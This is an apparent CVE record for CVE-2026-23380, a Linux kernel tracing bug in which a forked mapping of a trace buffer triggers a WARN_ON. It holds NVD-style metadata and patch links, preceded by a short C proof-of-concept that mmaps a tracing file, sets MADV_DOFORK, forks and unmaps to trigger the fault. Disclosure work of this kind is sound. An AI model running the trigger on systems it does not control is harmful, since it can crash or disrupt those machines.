CVE-2026-23380

#include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <unistd.h> #include <fcntl.h> #include <sys/wait.h> int main() { int fd; void *map; // Attempt to open a tracing buffer file (path may vary) fd = open("/sys/kernel/debug/tracing/trace_pipe_raw", O_RDONLY); if (fd < 0) { perror("open"); return 1; } // Map the file map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, fd, 0); if (map == MAP_FAILED) { perror("mmap"); close(fd); return 1; } // Enable copying on fork if (madvise(map, 4096, MADV_DOFORK) != 0) { perror("madvise"); } // Fork the process pid_t pid = fork(); if (pid == 0) { // Child process exit(0); } else { // Parent process wait(NULL); } // Cleanup triggers the bug in the kernel munmap(map, 4096); close(fd); return 0; }

{"cve": {"id": "CVE-2026-23380", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:38.017", "lastModified": "2026-04-24T16:28:47.850", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Fix WARN_ON in tracing_buffers_mmap_close\n\nWhen a process forks, the child process copies the parent's VMAs but the\nuser_mapped reference count is not incremented. As a result, when both the\nparent and child processes exit, tracing_buffers_mmap_close() is called\ntwice. On the second call, user_mapped is already 0, causing the function to\nreturn -ENODEV and triggering a WARN_ON.\n\nNormally, this isn't an issue as the memory is mapped with VM_DONTCOPY set.\nBut this is only a hint, and the application can call\nmadvise(MADVISE_DOFORK) which resets the VM_DONTCOPY flag. When the\napplication does that, it can trigger this issue on fork.\n\nFix it by incrementing the user_mapped reference count without re-mapping\nthe pages in the VMA's open callback."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\ntracing: Corrección de WARN_ON en tracing_buffers_mmap_close\n\nCuando un proceso hace fork, el proceso hijo copia los VMAs del padre pero el contador de referencias user_mapped no se incrementa. Como resultado, cuando tanto el proceso padre como el hijo terminan, tracing_buffers_mmap_close() se llama dos veces. En la segunda llamada, user_mapped ya es 0, lo que hace que la función devuelva -ENODEV y active un WARN_ON.\n\nNormalmente, esto no es un problema ya que la memoria está mapeada con VM_DONTCOPY establecido. Pero esto es solo una sugerencia, y la aplicación puede llamar a madvise(MADVISE_DOFORK) lo que restablece el flag VM_DONTCOPY. Cuando la aplicación hace eso, puede activar este problema al hacer fork.\n\nSe soluciona incrementando el contador de referencias user_mapped sin remapear las páginas en la función de callback 'open' del VMA."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.10.1", "versionEndExcluding": "6.12.77", "matchCriteriaId": "4D9050EB-F18B-4690-99BF-CC9BF4595FF5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.17", "matchCriteriaId": "A5E006E4-59C7-43C1-9231-62A72219F2BA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.7", "matchCriteriaId": "69245D10-0B71-485E-80C3-A64F077004D3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.10:-:*:*:*:*:*:*", "matchCriteriaId": "9EA80796-744E-45F5-8632-2AB4F7889FCD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/91f3e8d84c89918769e71393f839c9fefadc2580", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b0f269ba6fefe9e3cb9feedcf78fcd0b633800c0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/cdd96641b64297a2db42676f051362b76280a58b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tag ... 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